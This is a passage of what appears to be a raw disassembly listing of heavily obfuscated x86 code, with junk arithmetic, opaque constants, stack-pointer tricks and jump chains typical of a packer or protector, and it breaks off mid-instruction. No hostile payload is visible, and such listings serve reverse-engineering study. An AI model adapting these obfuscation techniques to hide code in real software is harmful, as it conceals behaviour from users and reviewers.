neg ebp add ebp, 11E1A636h xor esi, ebp pop ebp add eax, esi pop esi xor eax, [esp+62h+var_64+2] xor [esp+62h+var_64+2], eax xor eax, [esp+62h+var_64+2] pop esp jmp loc_58DC19 ; --------------------------------------------------------------------------- loc_5871D4: ; CODE XREF: sub_57DD3A+6BC6j pop ecx add eax, edx sub eax, 33722350h add eax, 1801012Ch mov dword ptr [eax], 0 jmp loc_5855FF ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_583A9A add esi, 786B65B2h jmp loc_586DF0 ; --------------------------------------------------------------------------- loc_587202: ; CODE XREF: sub_57DD3A+5EFEj sub eax, esi pop esi add eax, 7DD83362h sub esp, 4 mov [esp+7Ah+var_7C+2], esi push eax mov eax, 51813218h neg eax jmp loc_5847DE ; --------------------------------------------------------------------------- loc_587220: ; CODE XREF: sub_57DD3A+550Cj sub eax, 3DA46FBCh sub eax, ecx jmp loc_58CFC4 ; --------------------------------------------------------------------------- loc_58722C: ; CODE XREF: sub_57DD3A+F356j sub bl, 1Fh jmp loc_588331 ; --------------------------------------------------------------------------- loc_587234: ; CODE XREF: sub_57DD3A+C8E7j mov ecx, [esp+5Eh+var_60+2] jmp loc_5854B3 ; --------------------------------------------------------------------------- loc_58723C: ; CODE XREF: sub_57DD3A+5EC1j add edx, 2FBE53FCh jmp loc_583D70 ; --------------------------------------------------------------------------- loc_587247: ; CODE XREF: sub_57DD3A+6AF1j sub bl, 93h push eax mov ah, 3 add bl, ah pop eax sub bl, 6 push ecx jmp loc_5888D9 ; --------------------------------------------------------------------------- loc_587259: ; CODE XREF: sub_57DD3A+6FFDj or ecx, 55464966h not ecx xor ecx, 2EF55430h sub ecx, 10CB2C61h neg ecx jmp loc_58A834 ; --------------------------------------------------------------------------- loc_587274: ; CODE XREF: sub_57DD3A+D7ACj mov dx, word ptr [esp+74h+var_74] push 0AFDh mov [esp+78h+var_78], ecx push esp pop ecx add ecx, 4 push 4FE4h mov [esp+7Ch+var_7C], esi push ecx mov ecx, 1FFC0656h mov esi, 1FFC0658h sub esi, ecx mov ecx, [esp+80h+var_80] add esp, 4 add ecx, esi push [esp+7Ch+var_7C] pop esi add esp, 4 xor ecx, [esp+78h+var_78] xor [esp+78h+var_78], ecx jmp loc_58D189 ; --------------------------------------------------------------------------- loc_5872BA: ; CODE XREF: sub_57DD3A+B14Bj mov cl, 12h push ecx xchg ah, byte ptr [esp+7Ch+var_7C] not ah push edx mov dl, ah mov ah, byte ptr [esp+80h+var_7C] mov byte ptr [esp+80h+var_7C], dl pop edx pop ecx and cl, 0F0h push eax mov al, 13h sub al, 0FFh add al, 7Ah add cl, al pop eax sub al, 66h jmp loc_58B6D2 ; --------------------------------------------------------------------------- loc_5872E3: ; CODE XREF: sub_57DD3A+868Dj push 3BBFh jmp loc_58A764 ; --------------------------------------------------------------------------- loc_5872ED: ; CODE XREF: sub_57DD3A+E49Cj mov ax, 7AAh push si mov si, 0 jmp loc_582944 ; --------------------------------------------------------------------------- loc_5872FC: ; CODE XREF: sub_57DD3A+7F55j mov esi, [esp+76h+var_78+2] add esp, 4 sub ecx, edx pop edx xchg ecx, [esp+6Eh+var_70+2] pop esp mov [esp+6Ah+var_6C+2], eax push esi push 485A245Ah jmp loc_585CF2 ; --------------------------------------------------------------------------- loc_58731A: ; CODE XREF: sub_57DD3A+A558j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58731F: ; CODE XREF: sub_57DD3A+BF2Aj push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx xchg ecx, [esp+76h+var_78+2] mov esp, [esp+76h+var_78+2] mov [esp+76h+var_78+2], esi jmp loc_5867C3 ; --------------------------------------------------------------------------- loc_58733F: ; CODE XREF: sub_57DD3A+F2F9j add ecx, 62514669h sub ecx, edi sub ecx, 62514669h jmp loc_582602 ; --------------------------------------------------------------------------- loc_587352: ; CODE XREF: sub_57DD3A+899Cj add [esp+0A6h+var_A8+2], eax sub [esp+0A6h+var_A8+2], 484C0404h push 9C2h jmp loc_58CD5C ; --------------------------------------------------------------------------- loc_587366: ; CODE XREF: sub_57DD3A+4B2Fj add ebx, eax push edx mov edx, 728F6AD7h add edx, 6C4C322Eh push edx jmp loc_58607A ; --------------------------------------------------------------------------- loc_58737A: ; CODE XREF: sub_57DD3A+F01Dj push ebp push [esp+0A2h+var_A0+2] pop ebp pop [esp+0A2h+var_A4+2] pop esp sub esp, 4 jmp loc_586F77 ; --------------------------------------------------------------------------- loc_58738C: ; CODE XREF: sub_57DD3A+5CA7j push [esp+0A4h+var_A4] mov eax, [esp+0A8h+var_A8] add esp, 4 add esp, 4 sub edx, 4 jmp loc_583AC1 ; --------------------------------------------------------------------------- loc_5873A6: ; CODE XREF: sub_57DD3A+A5A5j mov ch, bl pop ebx add ch, 6Eh add al, ch jmp loc_58C126 ; --------------------------------------------------------------------------- loc_5873B3: ; CODE XREF: sub_57DD3A+A754j xchg esi, [esp+9Ch+var_9C] jmp loc_588500 ; --------------------------------------------------------------------------- loc_5873BB: ; CODE XREF: sub_57DD3A+C679j xor ecx, 8EC1852Eh add ebp, 4E585587h sub ebp, ecx jmp loc_58BA45 ; --------------------------------------------------------------------------- loc_5873CE: ; CODE XREF: sub_57DD3A+51DAj sub bl, 0F3h xor dh, bl pop ebx add dh, 7Eh jmp loc_58D549 ; --------------------------------------------------------------------------- loc_5873DC: ; CODE XREF: sub_57DD3A+716Ej mov [esp+72h+var_74+2], ebx mov ebx, 1 and eax, ebx jmp loc_584FA7 ; --------------------------------------------------------------------------- loc_5873EB: ; CODE XREF: sub_57DD3A+A5F2j xchg eax, [esp+72h+var_74+2] jmp loc_58783E ; --------------------------------------------------------------------------- loc_5873F3: ; CODE XREF: sub_57DD3A+F93Fj mov ch, dl pop edx add ch, 97h jmp loc_58CE09 ; --------------------------------------------------------------------------- loc_5873FE: ; CODE XREF: sub_57DD3A+9862j sub ecx, 786D23C2h add ecx, ebp push ebx jmp loc_5831ED ; --------------------------------------------------------------------------- loc_58740C: ; CODE XREF: sub_57DD3A+C388j add edx, ecx sub edx, 4A3A0D4Dh jmp loc_583BDE ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi mov esi, 1D576665h or esi, 3804059h xor esi, 5C83769Fh jmp loc_586AED ; --------------------------------------------------------------------------- loc_587433: ; CODE XREF: sub_57DD3A+7060j add [esp+70h+var_70], 4 push [esp+70h+var_70] pop edi add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp+6Ch+var_6C] pop esp push 3416h mov [esp+6Ch+var_6C], ecx push 1EEFh mov [esp+70h+var_70], edi push 58F8786Bh pop edi dec edi jmp loc_58DFBB ; --------------------------------------------------------------------------- loc_58746D: ; CODE XREF: sub_57DD3A+5292j add dh, 71h sub ch, dh pop edx sub ch, 0BDh add al, ch pop ecx jmp loc_58B795 ; --------------------------------------------------------------------------- loc_58747E: ; CODE XREF: sub_57DD3A+9900j mov ebp, 4CAB2E99h and ebp, 4BE6D53h not ebp inc ebp jmp loc_5852A6 ; --------------------------------------------------------------------------- loc_587491: ; CODE XREF: sub_57DD3A+A28Ej mov bh, 58h xor dl, bh pop ebx jmp loc_5889F5 ; --------------------------------------------------------------------------- loc_58749B: ; CODE XREF: sub_57DD3A+8C84j pop esi add esp, 4 push esi mov esi, 515B240Dh sub ecx, esi pop esi add ecx, 2794B51h add ecx, eax sub ecx, 2794B51h jmp loc_584AF0 ; --------------------------------------------------------------------------- loc_5874BE: ; CODE XREF: sub_57DD3A+CFCAj mov ecx, 49E49465h add edi, ecx pop ecx mov esi, edi pop edi push edi mov edi, 0B59AAB74h add esi, edi jmp loc_588E27 ; --------------------------------------------------------------------------- loc_5874D6: ; CODE XREF: sub_57DD3A+F5F0j mov ecx, [esp+72h+var_74+2] add esp, 4 jmp loc_58DE45 ; --------------------------------------------------------------------------- loc_5874E1: ; CODE XREF: sub_57DD3A+C272j mov dl, bl mov bx, word ptr [esp+6Eh+var_70+2] add esp, 2 or dl, 6Ah shl dl, 8 push 35D6h jmp loc_5843D8 ; --------------------------------------------------------------------------- loc_5874FD: ; CODE XREF: sub_57DD3A+3C91j add dh, 47h sub bl, 44h add bl, dh push edx mov dl, 0BDh neg dl not dl neg dl neg dl sub dl, 3Bh xor dl, 0C5h add bl, dl mov edx, [esp+6Ah+var_6C+2] add esp, 4 mov dx, word ptr [esp+66h+var_68+2] add esp, 2 sub bl, al push ax push ecx jmp loc_5896D3 ; --------------------------------------------------------------------------- loc_587535: ; CODE XREF: sub_57DD3A+44FEj sub esi, 2EFA7EC1h jmp loc_58A6AF ; --------------------------------------------------------------------------- loc_587540: ; CODE XREF: sub_57DD3A+B3C3j mov esi, 77365551h push edi push 2568h mov [esp+86h+var_88+2], edx mov edx, 363E281Ch xor edx, 0CE72752h jmp loc_58B60D ; --------------------------------------------------------------------------- loc_58755E: ; CODE XREF: sub_57DD3A+C6BAj push eax mov eax, esp push 7C16h mov [esp+8Eh+var_90+2], ecx mov ecx, 2D667FB8h xor ecx, 3B4C5DB5h push edi mov edi, 28F704E9h and ecx, edi pop edi shr ecx, 6 and ecx, 2E0B6A37h add ecx, 0FFFFF804h add eax, ecx mov ecx, [esp+8Eh+var_90+2] jmp loc_585E9E ; --------------------------------------------------------------------------- loc_587596: ; CODE XREF: sub_57DD3A+DDBBj add esp, 4 jmp loc_5873FE ; --------------------------------------------------------------------------- loc_5875A1: ; CODE XREF: sub_57DD3A+DF21j and eax, ebp pop ebp jmp loc_588777 ; --------------------------------------------------------------------------- loc_5875A9: ; CODE XREF: sub_57DD3A+9944j add [esp+86h+var_80+2], 6F81771Ah add [esp+86h+var_80+2], edx sub [esp+86h+var_80+2], 6F81771Ah jmp loc_58A503 ; --------------------------------------------------------------------------- loc_5875C2: ; CODE XREF: sub_57DD3A+100C1j push edi jmp loc_584D91 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5875CF: ; CODE XREF: sub_57DD3A+EC63j mov ebp, [esp+8Eh+var_90+2] add esp, 4 push ebx jmp loc_58C570 ; --------------------------------------------------------------------------- loc_5875DE: ; CODE XREF: sub_57DD3A+826Fj add al, 0FDh sub al, bl sub al, 0FDh mov ebx, [esp+0A0h+var_A0] add esp, 4 push ecx push eax mov ah, 0BCh mov ch, 66h add ch, ah pop eax neg ch sub ch, 0AFh shr ch, 3 jmp loc_5892B6 ; --------------------------------------------------------------------------- loc_587603: ; CODE XREF: sub_57DD3A+872Bj mov bh, 0F3h add ah, bh pop bx neg ah shl ah, 4 inc ah and ah, 79h add ah, 0CEh sub dh, ah pop eax shr dh, 6 jmp loc_58BA59 ; --------------------------------------------------------------------------- loc_587621: ; CODE XREF: sub_57DD3A+F475j mov ebp, 5FCE578Bh jmp loc_58C0BA ; --------------------------------------------------------------------------- loc_58762B: ; CODE XREF: sub_57DD3A+5FC6j pop ebx sub ebp, 6BA15D1h jmp loc_58A975 ; --------------------------------------------------------------------------- loc_587637: ; CODE XREF: sub_57DD3A+8EF6j mov eax, esp push ebp jmp loc_58747E ; --------------------------------------------------------------------------- loc_58763F: ; CODE XREF: sub_57DD3A+B427j pop edx jmp loc_583286 ; --------------------------------------------------------------------------- loc_587645: ; CODE XREF: sub_57DD3A+D99Fj push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp+0D4h+var_D4] mov esp, [esp+0D4h+var_D4] push edx sub esp, 4 jmp loc_587800 ; --------------------------------------------------------------------------- loc_587666: ; CODE XREF: sub_57DD3A+DEEAj push 0 jmp loc_584452 ; --------------------------------------------------------------------------- loc_587670: ; CODE XREF: sub_57DD3A+3E68j mov [esp+76h+var_78+2], edx mov edx, 613D6926h push edx mov edx, 62513B5Bh jmp loc_5875A9 ; --------------------------------------------------------------------------- loc_587683: ; CODE XREF: sub_57DD3A+BE75j pop edx jmp loc_58CAAD ; --------------------------------------------------------------------------- loc_587689: ; CODE XREF: sub_57DD3A+4D03j push eax jmp loc_586D49 ; --------------------------------------------------------------------------- loc_58768F: ; CODE XREF: sub_57DD3A+7A21j shr edx, 7 jmp loc_5835BC ; --------------------------------------------------------------------------- loc_587697: ; CODE XREF: sub_57DD3A+9B63j xor edi, ecx not ecx jmp loc_5823B2 ; --------------------------------------------------------------------------- loc_5876A0: ; CODE XREF: sub_57DD3A+AC0Dj neg esi jmp loc_58C5BC ; --------------------------------------------------------------------------- loc_5876A7: ; CODE XREF: sub_57DD3A+9AB5j sub bl, al push eax push ebx mov bl, 35h or bl, 71h xor bl, 0E5h jmp loc_58681D ; --------------------------------------------------------------------------- loc_5876B8: ; CODE XREF: sub_57DD3A+68A4j pop ebp sub ebp, 270034E4h jmp loc_58B2FC ; --------------------------------------------------------------------------- loc_5876C4: ; CODE XREF: sub_57DD3A+8316j pop edi sub ecx, 4 xchg ecx, [esp+86h+var_88+2] pop esp mov [esp+82h+var_84+2], ecx push [esp+82h+var_80+2] mov ecx, [esp+86h+var_88+2] jmp loc_58C00B ; --------------------------------------------------------------------------- loc_5876DE: ; CODE XREF: sub_57DD3A+8A29j add esi, 63607F2Fh add esi, ebx sub esi, 63607F2Fh add esi, 22CF7A09h mov ebx, [esp+7Eh+var_80+2] jmp loc_58D89B ; --------------------------------------------------------------------------- loc_5876FA: ; CODE XREF: sub_57DD3A+DDE5j sub ebx, 609876BFh add ebx, ebp add ebx, 609876BFh sub ebx, 671A6D7Ch pop ebp add ebx, 2 xchg ebx, [esp+7Ah+var_7C+2] pop esp or byte ptr [esp+76h+var_78+2], al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587722: ; CODE XREF: sub_57DD3A+7CFFj push edx push edi mov edi, 0D903EBAh mov edx, edi pop edi sub eax, 389456B1h add eax, 33CA27E8h sub eax, edx jmp loc_58A9FC ; --------------------------------------------------------------------------- loc_58773D: ; CODE XREF: sub_57DD3A+EF33j shl eax, 3 add eax, 2A834A0h not eax xor eax, 9761D5CBh add ecx, eax pop eax xchg ecx, [esp+0A6h+var_A8+2] pop esp push edx push 5A4907A1h jmp loc_586768 ; --------------------------------------------------------------------------- loc_58775E: ; CODE XREF: sub_57DD3A+FA58j pop edx xor edx, edi pop edi add ecx, edx mov edx, [esp+0A2h+var_A4+2] add esp, 4 xchg ecx, [esp+9Eh+var_A0+2] pop esp xor word ptr [esp+9Ah+var_9C+2], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58777B: ; CODE XREF: sub_57DD3A+A7E4j pop ebx sub esp, 4 mov [esp+9Eh+var_A0+2], ebp jmp loc_5860F5 ; --------------------------------------------------------------------------- loc_58778A: ; CODE XREF: sub_57DD3A+6373j dec edi shr edi, 1 jmp loc_58AEFF ; --------------------------------------------------------------------------- loc_587792: ; CODE XREF: sub_57DD3A+EA04j sub ebp, eax mov eax, [esp+86h+var_88+2] add esp, 4 jmp loc_589D6B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] push [esp+86h+var_88+2] mov eax, [esp+8Ah+var_8C+2] push ebx mov ebx, esp jmp loc_587BEA ; --------------------------------------------------------------------------- loc_5877B3: ; CODE XREF: sub_57DD3A+702Aj add esi, 4 add esi, 4 xchg esi, [esp+74h+var_74] pop esp jmp loc_588C3F ; --------------------------------------------------------------------------- loc_5877C8: ; CODE XREF: sub_57DD3A+82C8j push 7129h mov [esp+84h+var_84], edx jmp loc_589C16 ; --------------------------------------------------------------------------- loc_5877D5: ; CODE XREF: sub_57DD3A+6C55j and dl, 24h inc dl xor dl, 9Ah push 4D3Fh jmp loc_582710 ; --------------------------------------------------------------------------- loc_5877E7: ; CODE XREF: sub_57DD3A+10027j pop eax add bl, al sub bl, 0EFh pop ax jmp loc_5876A7 ; --------------------------------------------------------------------------- loc_5877F4: ; CODE XREF: sub_57DD3A+447Ej sub ebx, 359A09D5h pop edi jmp loc_582510 ; --------------------------------------------------------------------------- loc_587800: ; CODE XREF: sub_57DD3A+9927j mov [esp+0DCh+var_DC], ecx push ebx mov bl, 7Eh mov cl, bl mov ebx, [esp+0E0h+var_E0] push edi push esp mov edi, [esp+0E8h+var_E8] add esp, 4 add edi, 4 push esi mov esi, 4 jmp loc_583636 ; --------------------------------------------------------------------------- loc_587827: ; CODE XREF: sub_57DD3A+A8D3j push esp pop [esp+0ECh+var_EC] add [esp+0E8h+var_E8], 4 pop [esp+0E8h+var_E8] add [esp+0E4h+var_E4], 4 jmp loc_588EAD ; --------------------------------------------------------------------------- loc_58783E: ; CODE XREF: sub_57DD3A+96B4j mov esp, [esp+72h+var_74+2] mov [esp+72h+var_74+2], ecx mov ecx, esp push 460Ah mov [esp+76h+var_78+2], edi mov edi, 4 add ecx, edi mov edi, [esp+76h+var_78+2] add esp, 4 add ecx, 4 xchg ecx, [esp+72h+var_74+2] mov esp, [esp+72h+var_74+2] jmp loc_5857A8 ; --------------------------------------------------------------------------- loc_58786C: ; CODE XREF: sub_57DD3A+3BD6j push edi jmp loc_585483 ; --------------------------------------------------------------------------- loc_587872: ; CODE XREF: sub_57DD3A+7033j push edi sub esp, 4 mov [esp+7Ch+var_7C], esp add [esp+7Ch+var_7C], 4 push [esp+7Ch+var_7C] pop edi add esp, 4 add edi, 4 jmp loc_58BE5B ; --------------------------------------------------------------------------- loc_587895: ; CODE XREF: sub_57DD3A+B8F4j xor [esp+78h+var_78], eax xchg eax, edi xor edi, ecx xor ecx, edi jmp loc_587697 ; --------------------------------------------------------------------------- loc_5878A2: ; CODE XREF: sub_57DD3A+B113j push [esp+78h+var_78] jmp loc_5867A5 ; --------------------------------------------------------------------------- loc_5878AA: ; CODE XREF: sub_57DD3A+8939j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5878AF: ; CODE XREF: sub_57DD3A+BF4Bj push edx mov dl, 35h xor dl, 56h push ax mov al, 8Eh xor dl, al pop ax push ecx mov ch, 0EFh jmp loc_58CCA6 ; --------------------------------------------------------------------------- loc_5878C5: ; CODE XREF: sub_57DD3A+FC77j pop ecx add ebp, 7591EA5Ch sub esi, 33995876h jmp loc_581ECA ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0A4h+var_A4] push esi push 5A5h jmp loc_589E3C ; --------------------------------------------------------------------------- loc_5878E6: ; CODE XREF: sub_57DD3A+AAC5j not ebx shr ebx, 3 push edi mov edi, 0EC2309CAh add ebx, edi pop edi add eax, 6DF26D6Bh jmp loc_58C5F7 ; --------------------------------------------------------------------------- loc_5878FE: ; CODE XREF: sub_57DD3A+E78Fj ; sub_57DD3A+E81Bj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0B0h+var_B0] pop esp mov [esp+0ACh+var_AC], ebx mov eax, [esp+0ACh+var_AC] push 206h mov [esp+0B0h+var_B0], ebx mov ebx, esp jmp loc_588784 ; --------------------------------------------------------------------------- loc_587926: ; CODE XREF: sub_57DD3A+6C33j push 1 pop edi and eax, edi push [esp+90h+var_90] mov edi, [esp+94h+var_94] push 2Eh mov [esp+98h+var_98], esi mov esi, esp push eax mov eax, 4 jmp loc_58844C ; --------------------------------------------------------------------------- loc_587949: ; CODE XREF: sub_57DD3A+4025j add esp, 4 sub esi, 0D9550DE7h xor eax, esi push [esp+9Ch+var_9C] jmp loc_58A16C ; --------------------------------------------------------------------------- loc_58795C: ; CODE XREF: sub_57DD3A+DA56j shr eax, 10h xor eax, ecx xchg eax, ecx not ecx sub esp, 4 mov [esp+0A4h+var_A4], eax sub esp, 4 mov [esp+0A8h+var_A8], ebp sub esp, 4 jmp loc_5879A8 ; --------------------------------------------------------------------------- loc_58797E: ; CODE XREF: sub_57DD3A+7BB2j pop edx pop ax push ecx mov cl, 0D6h push edx mov dl, 0A6h xor dl, 35h jmp loc_5849E0 ; --------------------------------------------------------------------------- push 703Bh jmp loc_58BD12 ; --------------------------------------------------------------------------- loc_587999: ; CODE XREF: sub_57DD3A+E8B8j push ebp mov ebp, esp push eax push 39C36F9Bh pop eax jmp loc_5885B1 ; --------------------------------------------------------------------------- loc_5879A8: ; CODE XREF: sub_57DD3A+9C3Fj mov [esp+0ACh+var_AC], esp add [esp+0ACh+var_AC], 4 jmp loc_5842BF ; --------------------------------------------------------------------------- loc_5879B7: ; CODE XREF: sub_57DD3A+511Bj add edi, 4 push ebp mov ebp, 2 add edi, ebp pop ebp push edi push [esp+7Ch+var_78] jmp loc_58B649 ; --------------------------------------------------------------------------- loc_5879D0: ; CODE XREF: sub_57DD3A+E321j add edi, 4 jmp loc_588987 ; --------------------------------------------------------------------------- push [esp+80h+var_80] push [esp+84h+var_84] pop ecx jmp loc_58B89F ; --------------------------------------------------------------------------- mov ax, word ptr [esp+84h+var_84] push edx push esp push [esp+8Ch+var_8C] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+90h+var_90] pop esp push ecx mov ecx, 7BBA7BC8h jmp loc_5897A1 ; --------------------------------------------------------------------------- loc_587A0C: ; CODE XREF: sub_57DD3A+722Aj sub ch, 1 add ch, 2Eh mov bh, ch pop ecx and dh, bh pop ebx xor dh, 2Ch shr dh, 5 shl dh, 2 sub dh, 0D0h push eax mov ah, 0E4h jmp loc_585431 ; --------------------------------------------------------------------------- loc_587A2C: ; CODE XREF: sub_57DD3A+FE1Cj mov edx, [esp+84h+var_84] add esp, 4 pop ebx jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587A38: ; CODE XREF: sub_57DD3A+BFA9j add eax, ebx add eax, 22D90686h mov ebx, [esp+7Ch+var_7C] add esp, 4 sub esp, 4 mov [esp+7Ch+var_7C], esi mov esi, 2 sub eax, 56AD740Ah jmp loc_586EDD ; --------------------------------------------------------------------------- loc_587A60: ; CODE XREF: sub_57DD3A+EA34j mov [esp+7Ch+var_7C], edi push 5F5D35C0h jmp loc_58415C ; --------------------------------------------------------------------------- loc_587A6D: ; CODE XREF: sub_57DD3A+69D9j mov [esp+96h+var_98+2], ebx mov ebx, 0FF2456Ah not ebx xor ebx, 0E317B654h sub ebp, ebx pop ebx jmp loc_58C490 ; --------------------------------------------------------------------------- loc_587A85: ; CODE XREF: sub_57DD3A+BD0Fj add eax, 48D50679h push esi mov esi, 800h jmp loc_58A4F9 ; --------------------------------------------------------------------------- loc_587A95: ; CODE XREF: sub_57DD3A+5167j add al, 29h push dx jmp loc_58AFB3 ; --------------------------------------------------------------------------- loc_587A9E: ; CODE XREF: sub_57DD3A+C651j mov edx, 11F348C9h push eax mov eax, 54F510C6h xor eax, 4506580Bh xor edx, eax pop eax sub eax, 1AC51601h add eax, edx jmp loc_583DBD ; --------------------------------------------------------------------------- loc_587ABD: ; CODE XREF: sub_57DD3A+D9FFj or ecx, 0E4C4459h sub ecx, 9ECECF5Dh jmp loc_584D2E ; --------------------------------------------------------------------------- loc_587ACE: ; CODE XREF: sub_57DD3A+CE98j mov [esp+0A8h+var_A8], ebx jmp loc_5820B4 ; --------------------------------------------------------------------------- loc_587AD6: ; CODE XREF: sub_57DD3A+8659j xor ecx, eax jmp loc_58AC0C ; --------------------------------------------------------------------------- loc_587ADD: ; CODE XREF: sub_57DD3A+A6F6j mov ecx, 4 mov ebx, ecx pop ecx sub edx, 1F77F34h sub edx, 5DB37C2Bh jmp loc_58B3A7 ; --------------------------------------------------------------------------- loc_587AF6: ; CODE XREF: sub_57DD3A+7567j not ebx xor ebx, 1E4F4DDFh jmp loc_584A02 ; --------------------------------------------------------------------------- loc_587B03: ; CODE XREF: sub_57DD3A+81A1j add eax, 4 jmp loc_58D9ED ; --------------------------------------------------------------------------- loc_587B0D: ; CODE XREF: sub_57DD3A+56BEj push ecx jmp loc_581D64 ; --------------------------------------------------------------------------- loc_587B13: ; CODE XREF: sub_57DD3A+CCDEj mov [esp+0D0h+var_D0], eax mov al, 0F5h not al jmp loc_589589 ; --------------------------------------------------------------------------- loc_587B1F: ; CODE XREF: sub_57DD3A+5E62j add ecx, 5E3496C0h xor esi, ecx pop ecx or esi, 208A4511h push eax mov eax, 5A193BF2h not eax xor eax, 2073916h inc eax or eax, 25542384h add eax, 13A34AF1h sub eax, 0CF15044Dh jmp loc_582876 ; --------------------------------------------------------------------------- loc_587B50: ; CODE XREF: sub_57DD3A+7F9Bj mov word ptr [esp+68h+var_68], cx jmp loc_5852FE ; --------------------------------------------------------------------------- loc_587B59: ; CODE XREF: sub_57DD3A+A678j pop eax push [esp+64h+var_64] mov ebx, [esp+68h+var_68] add esp, 4 push 313Ch jmp loc_58C4A5 ; --------------------------------------------------------------------------- loc_587B70: ; CODE XREF: sub_57DD3A+A315j pop edx shr eax, 0Eh xor eax, ecx push eax xor [esp+68h+var_68], esi xor esi, [esp+68h+var_68] xor [esp+68h+var_68], esi push 2F1Dh jmp loc_585EF9 ; --------------------------------------------------------------------------- loc_587B8A: ; CODE XREF: sub_57DD3A+D94Ej mov esi, [esp+6Ch+var_6C] add esp, 4 pop [esp+68h+var_68] pop esp btr word ptr [esp+60h+var_60], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587B9F: ; CODE XREF: sub_57DD3A+3F21j sub bl, al push dx jmp loc_5826E7 ; --------------------------------------------------------------------------- loc_587BA8: ; CODE XREF: sub_57DD3A+ADA6j or [edi+1Ch], eax mov eax, [esp+86h+var_88+2] add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- push [esp+82h+var_84+2] pop eax push 739Fh mov [esp+86h+var_88+2], eax push esp jmp loc_588069 ; --------------------------------------------------------------------------- loc_587BC8: ; CODE XREF: sub_57DD3A+4E00j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587BCD: ; CODE XREF: sub_57DD3A+B87Aj push ecx jmp loc_58CDBE ; --------------------------------------------------------------------------- loc_587BD3: ; CODE XREF: sub_57DD3A+F138j not ch shl ch, 4 xor ch, 0A2h mov ah, ch pop ecx push ecx mov ch, ah mov dh, ch pop ecx pop eax jmp loc_58BF30 ; --------------------------------------------------------------------------- loc_587BEA: ; CODE XREF: sub_57DD3A+9A74j add ebx, 4 add ebx, 4 xchg ebx, [esp+8Eh+var_90+2] pop esp push ebp mov ebp, esp jmp loc_588BDB ; --------------------------------------------------------------------------- loc_587C02: ; CODE XREF: sub_57DD3A+86A1j xor edx, ebp pop ebp jmp loc_5891E3 ; --------------------------------------------------------------------------- loc_587C0A: ; CODE XREF: sub_57DD3A+CC25j mov ecx, esp add ecx, 4 jmp loc_58AFC5 ; --------------------------------------------------------------------------- loc_587C17: ; CODE XREF: sub_57DD3A+4980j mov ebx, 0 sub ebx, esi mov esi, ebx pop ebx and esi, 10F33A53h shr esi, 6 jmp loc_58B568 ; --------------------------------------------------------------------------- loc_587C2F: ; CODE XREF: sub_57DD3A+D260j pop esp mov word ptr [esp+72h+var_74+2], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587C39: ; CODE XREF: sub_57DD3A+513Bj pop ecx sub eax, ebx push 39FAh mov [esp+6Ch+var_6C], edx mov edx, 175C1685h add eax, edx pop edx push 785Dh mov [esp+6Ch+var_6C], esi push ebx mov ebx, 31CE2F83h shr ebx, 3 add ebx, 1BF473BAh mov esi, ebx pop ebx add esi, 1 neg esi jmp loc_588142 ; --------------------------------------------------------------------------- loc_587C70: ; CODE XREF: sub_57DD3A+F0ACj mov esi, [esp+6Ch+var_6C] add esp, 4 push edi mov edi, 541B0300h and edi, 7F5C35E3h and edi, 6F6C00E1h dec edi inc edi xor edi, 4DF3145h jmp loc_58D67E ; --------------------------------------------------------------------------- loc_587C98: ; CODE XREF: sub_57DD3A+8E9Cj not eax jmp loc_5868E0 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+88h+var_88] sub esp, 4 mov [esp+8Ch+var_8C], edi sub esp, 4 mov [esp+90h+var_90], esp push eax mov eax, 4 add [esp+94h+var_90], eax pop eax pop edi push esi mov esi, 64D65E3Fh or esi, 674A50C7h xor esi, 1BC00560h jmp loc_583EB0 ; --------------------------------------------------------------------------- loc_587CD2: ; CODE XREF: sub_57DD3A+C6A7j add edx, 812010Eh add edx, 0C677A8h jmp loc_5888B9 ; --------------------------------------------------------------------------- loc_587CE3: ; CODE XREF: sub_57DD3A+A1BBj add esp, 4 add esi, ecx pop ecx push eax mov eax, 2 add esi, eax pop eax xchg esi, [esp+88h+var_88] mov esp, [esp+88h+var_88] shr byte ptr [esp+88h+var_88], cl pushf jmp loc_585CC1 ; --------------------------------------------------------------------------- loc_587D01: ; CODE XREF: sub_57DD3A+87F7j push edx jmp loc_586492 ; --------------------------------------------------------------------------- loc_587D07: ; CODE XREF: sub_57DD3A+512Dj add ebx, 2 xor ebx, [esp+70h+var_70] xor [esp+70h+var_70], ebx xor ebx, [esp+70h+var_70] pop esp mov ax, word ptr [esp+6Ch+var_6C] push edx push 3741h mov [esp+74h+var_74], esp add [esp+74h+var_74], 4 mov edx, [esp+74h+var_74] add esp, 4 push eax push 4 pop eax jmp loc_588C98 ; --------------------------------------------------------------------------- loc_587D3A: ; CODE XREF: sub_57DD3A+CA66j mov [esp+74h+var_74], eax push 4 mov eax, [esp+78h+var_78] add esp, 4 and ecx, eax push [esp+74h+var_74] pop eax add esp, 4 shr ecx, 2 jmp loc_5857F7 ; --------------------------------------------------------------------------- loc_587D5C: ; CODE XREF: sub_57DD3A+EDF5j xor ebp, 44DC024Dh sub esp, 4 mov [esp+74h+var_74], ebp mov eax, [esp+74h+var_74] sub esp, 4 mov [esp+78h+var_78], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp+7Ch+var_7C] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+80h+var_80] pop esp add ebp, 4 xchg ebp, [esp+7Ch+var_7C] jmp loc_58DD96 ; --------------------------------------------------------------------------- loc_587D9F: ; CODE XREF: sub_57DD3A+B860j add 